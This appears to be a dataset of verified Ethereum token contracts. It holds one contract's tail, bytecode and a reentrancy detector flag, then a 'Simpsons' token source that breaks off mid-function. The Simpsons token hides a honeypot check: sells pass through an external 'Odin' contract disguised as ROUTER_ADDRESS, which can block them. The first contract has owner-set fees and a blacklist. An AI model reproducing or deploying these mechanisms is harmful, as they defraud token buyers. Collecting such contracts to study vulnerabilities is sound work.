_uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd8014610529578063c492f0461461053e578063dd62ed3e1461055e578063ea1644d5146105a457600080fd5b806398a5c31514610499578063a2a957bb146104b9578063a9059cbb146104d9578063bfd79284146104f957600080fd5b80638da5cb5b116100d15780638da5cb5b146104185780638f70ccf7146104365780638f9a55c01461045657806395d89b411461046c57600080fd5b8063715018a6146103cd57806374010ece146103e25780637d1db4a51461040257600080fd5b8063313ce567116101645780636b9990531161013e5780636b999053146103585780636d8aa8f8146103785780636fc3eaec1461039857806370a08231146103ad57600080fd5b8063313ce567146102fc57806338bf3cfa1461031857806349bd5a5e1461033857600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae8565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b417065582056756c7475724560a01b60208201525b6040516102319190611c12565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a3e565b610671565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50662386f26fc100005b604051908152602001610231565b3480156102d257600080fd5b5061025a6102e13660046119fe565b610688565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b5060405160098152602001610231565b34801561032457600080fd5b506101f161033336600461198e565b6106f1565b34801561034457600080fd5b5060155461028a906001600160a01b031681565b34801561036457600080fd5b506101f161037336600461198e565b6107db565b34801561038457600080fd5b506101f1610393366004611baf565b610826565b3480156103a457600080fd5b506101f161086e565b3480156103b957600080fd5b506102b86103c836600461198e565b6108b9565b3480156103d957600080fd5b506101f16108db565b3480156103ee57600080fd5b506101f16103fd366004611bc9565b61094f565b34801561040e57600080fd5b506102b860165481565b34801561042457600080fd5b506000546001600160a01b031661028a565b34801561044257600080fd5b506101f1610451366004611baf565b61097e565b34801561046257600080fd5b506102b860175481565b34801561047857600080fd5b50604080518082019091526004815263082ac8ab60e31b6020820152610224565b3480156104a557600080fd5b506101f16104b4366004611bc9565b6109c6565b3480156104c557600080fd5b506101f16104d4366004611be1565b6109f5565b3480156104e557600080fd5b5061025a6104f4366004611a3e565b610a33565b34801561050557600080fd5b5061025a61051436600461198e565b60106020526000908152604090205460ff1681565b34801561053557600080fd5b506101f1610a40565b34801561054a57600080fd5b506101f1610559366004611a69565b610a94565b34801561056a57600080fd5b506102b86105793660046119c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b057600080fd5b506101f16105bf366004611bc9565b610b43565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c65565b60405180910390fd5b60005b815181101561066d5760016010600084848151811061062957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611d78565b9150506105fa565b5050565b600061067e338484610b72565b5060015b92915050565b6000610695848484610c96565b6106e784336106e285604051806060016040528060288152602001611dd5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d2565b610b72565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b0381166107805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108055760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108505760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806108a357506013546001600160a01b0316336001600160a01b0316145b6108ac57600080fd5b476108b68161120c565b50565b6001600160a01b03811660009081526002602052604081205461068290611291565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016105ee90611c65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109795760405162461bcd60e51b81526004016105ee90611c65565b601655565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109f05760405162461bcd60e51b81526004016105ee90611c65565b601855565b6000546001600160a01b03163314610a1f5760405162461bcd60e51b81526004016105ee90611c65565b600893909355600a91909155600955600b55565b600061067e338484610c96565b6012546001600160a01b0316336001600160a01b03161480610a7557506013546001600160a01b0316336001600160a01b0316145b610a7e57600080fd5b6000610a89306108b9565b90506108b681611315565b6000546001600160a01b03163314610abe5760405162461bcd60e51b81526004016105ee90611c65565b60005b82811015610b3d578160056000868685818110610aee57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b03919061198e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3581611d78565b915050610ac1565b50505050565b6000546001600160a01b03163314610b6d5760405162461bcd60e51b81526004016105ee90611c65565b601755565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156110cb57601554600160a01b900460ff16610e83576000546001600160a01b03848116911614610e835760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610ed55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1757506001600160a01b03821660009081526010602052604090205460ff16155b610f6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610ff45760175481610f91846108b9565b610f9b9190611d0a565b10610ff45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fff306108b9565b6018546016549192508210159082106110185760165491505b80801561102f5750601554600160a81b900460ff16155b801561104957506015546001600160a01b03868116911614155b801561105e5750601554600160b01b900460ff165b801561108357506001600160a01b03851660009081526005602052604090205460ff16155b80156110a857506001600160a01b03841660009081526005602052604090205460ff16155b156110c8576110b682611315565b4780156110c6576110c64761120c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110d57506001600160a01b03831660009081526005602052604090205460ff165b8061113f57506015546001600160a01b0385811691161480159061113f57506015546001600160a01b03848116911614155b1561114c575060006111c6565b6015546001600160a01b03858116911614801561117757506014546001600160a01b03848116911614155b1561118957600854600c55600954600d555b6015546001600160a01b0384811691161480156111b457506014546001600160a01b03858116911614155b156111c657600a54600c55600b54600d555b610b3d848484846114ba565b600081848411156111f65760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d61565b95945050505050565b6012546001600160a01b03166108fc6112268360026114e8565b6040518115909202916000818181858888f1935050505015801561124e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112698360026114e8565b6040518115909202916000818181858888f1935050505015801561066d573d6000803e3d6000fd5b60006006548211156112f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b600061130261152a565b905061130e83826114e8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f791906119aa565b8160018151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143e9130911684610b72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611477908590600090869030904290600401611c9a565b600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c7576114c761154d565b6114d284848461157b565b80610b3d57610b3d600e54600c55600f54600d55565b600061130e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b60008060006115376116a0565b909250905061154682826114e8565b9250505090565b600c5415801561155d5750600d54155b1561156457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158d876116de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf908761173b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee908661177d565b6001600160a01b038916600090815260026020526040902055611610816117dc565b61161a8483611826565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600081836116935760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d22565b6006546000908190662386f26fc100006116ba82826114e8565b8210156116d557505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fb8a600c54600d5461184a565b925092509250600061170b61152a565b9050600080600061171e8e87878761189f565b919e509c509a509598509396509194505050505091939550919395565b600061130e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b60008061178a8385611d0a565b90508381101561130e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117e661152a565b905060006117f483836118ef565b30600090815260026020526040902054909150611811908261177d565b30600090815260026020526040902055505050565b600654611833908361173b565b600655600754611843908261177d565b6007555050565b6000808080611864606461185e89896118ef565b906114e8565b90506000611877606461185e8a896118ef565b9050600061188f826118898b8661173b565b9061173b565b9992985090965090945050505050565b60008080806118ae88866118ef565b905060006118bc88876118ef565b905060006118ca88886118ef565b905060006118dc82611889868661173b565b939b939a50919850919650505050505050565b6000826118fe57506000610682565b600061190a8385611d42565b9050826119178583611d22565b1461130e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561197981611dbf565b919050565b8035801515811461197957600080fd5b60006020828403121561199f578081fd5b813561130e81611dbf565b6000602082840312156119bb578081fd5b815161130e81611dbf565b600080604083850312156119d8578081fd5b82356119e381611dbf565b915060208301356119f381611dbf565b809150509250929050565b600080600060608486031215611a12578081fd5b8335611a1d81611dbf565b92506020840135611a2d81611dbf565b929592945050506040919091013590565b60008060408385031215611a50578182fd5b8235611a5b81611dbf565b946020939093013593505050565b600080600060408486031215611a7d578283fd5b833567ffffffffffffffff80821115611a94578485fd5b818601915086601f830112611aa7578485fd5b813581811115611ab5578586fd5b8760208260051b8501011115611ac9578586fd5b602092830195509350611adf918601905061197e565b90509250925092565b60006020808385031215611afa578182fd5b823567ffffffffffffffff80821115611b11578384fd5b818501915085601f830112611b24578384fd5b813581811115611b3657611b36611da9565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611da9565b604052828152858101935084860182860187018a1015611b79578788fd5b8795505b83861015611ba257611b8e8161196e565b855260019590950194938601938601611b7d565b5098975050505050505050565b600060208284031215611bc0578081fd5b61130e8261197e565b600060208284031215611bda578081fd5b5035919050565b60008060008060808587031215611bf6578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce95784516001600160a01b031683529383019391830191600101611cc4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1d57611d1d611d93565b500190565b600082611d3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5c57611d5c611d93565b500290565b600082821015611d7357611d73611d93565b500390565b6000600019821415611d8c57611d8c611d93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108b657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201055cf3b55815d13b58eabaec63ca66a0189031c0355db494b70b375e663c79064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,238
0x545dB141Ad9025E970A522843293dF852E35924b
/** *Submitted for verification at Etherscan.io on 2021-11-10 */ //SPDX-License-Identifier: MIT // Telegram: t.me/SimpsonsToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Simpsons"; string constant TOKEN_SYMBOL="SIMPSONS"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Simpsons is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 